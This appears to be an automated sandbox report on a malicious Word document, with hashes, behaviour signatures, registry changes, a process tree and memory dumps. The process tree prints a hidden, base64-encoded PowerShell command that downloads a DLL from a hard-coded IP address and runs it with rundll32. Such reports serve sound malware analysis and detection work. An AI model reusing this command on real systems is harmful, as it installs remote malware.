9c6241b1ccd67ad4439be584bf286f2f37c247217ffb59ab7031867c517abed4

General

Target

0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5.doc
Size

1.5MB
MD5

3272df3f79a0fa8c2ba601c4771b99e4
SHA1

90237b6a9396828465224313f1e8d1fe32190b85
SHA256

0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5
SHA512

f937de508da39c0f2ee844a01bb8bb31e9f3b10ab1243a92be3239d2d18d53552759d20a498e4186a56422bda3824c994903cc228bd4bea1de4903f5c61d3827

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

WINWORD.EXE

description pid process target process

PID 1796 created 1212 1796 WINWORD.EXE Explorer.EXE
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 1512 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	pid	process	target process
PID 1796 created 1212	1796	WINWORD.EXE	Explorer.EXE

flow	pid	process
5	1512	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1796 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1512 powershell.exe
1512 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1512 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1796 WINWORD.EXE
1796 WINWORD.EXE

pid	process
1796	WINWORD.EXE

pid	process
1512	powershell.exe
1512	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1512	powershell.exe

pid	process
1796	WINWORD.EXE
1796	WINWORD.EXE

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WINWORD.EXEpowershell.exe

description	pid	process	target process
PID 1796 wrote to memory of 1252	1796	WINWORD.EXE	splwow64.exe
PID 1796 wrote to memory of 1252	1796	WINWORD.EXE	splwow64.exe
PID 1796 wrote to memory of 1252	1796	WINWORD.EXE	splwow64.exe
PID 1796 wrote to memory of 1252	1796	WINWORD.EXE	splwow64.exe
PID 1796 wrote to memory of 1512	1796	WINWORD.EXE	powershell.exe
PID 1796 wrote to memory of 1512	1796	WINWORD.EXE	powershell.exe
PID 1796 wrote to memory of 1512	1796	WINWORD.EXE	powershell.exe
PID 1796 wrote to memory of 1512	1796	WINWORD.EXE	powershell.exe
PID 1512 wrote to memory of 1820	1512	powershell.exe	rundll32.exe
PID 1512 wrote to memory of 1820	1512	powershell.exe	rundll32.exe
PID 1512 wrote to memory of 1820	1512	powershell.exe	rundll32.exe
PID 1512 wrote to memory of 1820	1512	powershell.exe	rundll32.exe
PID 1512 wrote to memory of 1820	1512	powershell.exe	rundll32.exe
PID 1512 wrote to memory of 1820	1512	powershell.exe	rundll32.exe
PID 1512 wrote to memory of 1820	1512	powershell.exe	rundll32.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1212

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5.doc"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1796

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
3⤵
PID:1252

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -w hidden -command $var=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBodHRwOi8vMTc2LjEwLjEyNS4yMzo4MDAwL2hlYWRlcmVsZW1lbnQuanBnIC1PdXRGaWxlICRlbnY6dGVtcFx3aW5zeXMuZGxsOyBydW5kbGwzMiAkZW52OnRlbXBcd2luc3lzLmRsbCxTdGFydA=='));iex $var
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1512

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\winsys.dll Start
3⤵
PID:1820

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1252-63-0x0000000000000000-mapping.dmp

Download
memory/1252-64-0x000007FEFC381000-0x000007FEFC383000-memory.dmp

Filesize
8KB

Download
memory/1512-70-0x00000000048C2000-0x00000000048C3000-memory.dmp

Filesize
4KB

Download
memory/1512-71-0x0000000002580000-0x0000000002581000-memory.dmp

Filesize
4KB

Download
memory/1512-90-0x00000000062D0000-0x00000000062D1000-memory.dmp

Filesize
4KB

Download
memory/1512-65-0x0000000000000000-mapping.dmp

Download
memory/1512-66-0x0000000076A01000-0x0000000076A03000-memory.dmp

Filesize
8KB

Download
memory/1512-67-0x0000000002290000-0x0000000002291000-memory.dmp

Filesize
4KB

Download
memory/1512-68-0x0000000004900000-0x0000000004901000-memory.dmp

Filesize
4KB

Download
memory/1512-69-0x00000000048C0000-0x00000000048C1000-memory.dmp

Filesize
4KB

Download
memory/1512-89-0x00000000062B0000-0x00000000062B1000-memory.dmp

Filesize
4KB

Download
memory/1512-82-0x0000000006150000-0x0000000006151000-memory.dmp

Filesize
4KB

Download
memory/1512-72-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1512-75-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1512-76-0x00000000056C0000-0x00000000056C1000-memory.dmp

Filesize
4KB

Download
memory/1512-81-0x0000000006090000-0x0000000006091000-memory.dmp

Filesize
4KB

Download
memory/1796-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1796-60-0x0000000072E81000-0x0000000072E84000-memory.dmp

Filesize
12KB

Download
memory/1796-61-0x0000000070901000-0x0000000070903000-memory.dmp

Filesize
8KB

Download
memory/1820-91-0x0000000000000000-mapping.dmp

Download

Analysis

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